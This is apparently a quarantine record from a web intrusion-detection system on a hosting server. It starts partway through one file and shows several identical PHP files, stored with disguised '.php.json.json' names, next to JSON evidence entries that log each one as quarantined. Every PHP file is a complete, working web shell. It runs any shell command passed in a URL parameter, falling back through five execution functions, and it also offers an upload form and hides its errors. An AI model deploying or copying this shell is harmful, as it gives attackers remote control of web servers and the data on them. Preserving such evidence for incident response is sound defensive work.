+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4989",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_qkrfp39e.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700161,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_qkrfp39e.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5001",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_sp89teja.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837754,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_sp89teja.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5225",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_axg1w8kw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699439,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_axg1w8kw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5221",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ipxvztce.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837751,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_ipxvztce.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5220",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ul3ooiwi.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700160,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_ul3ooiwi.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}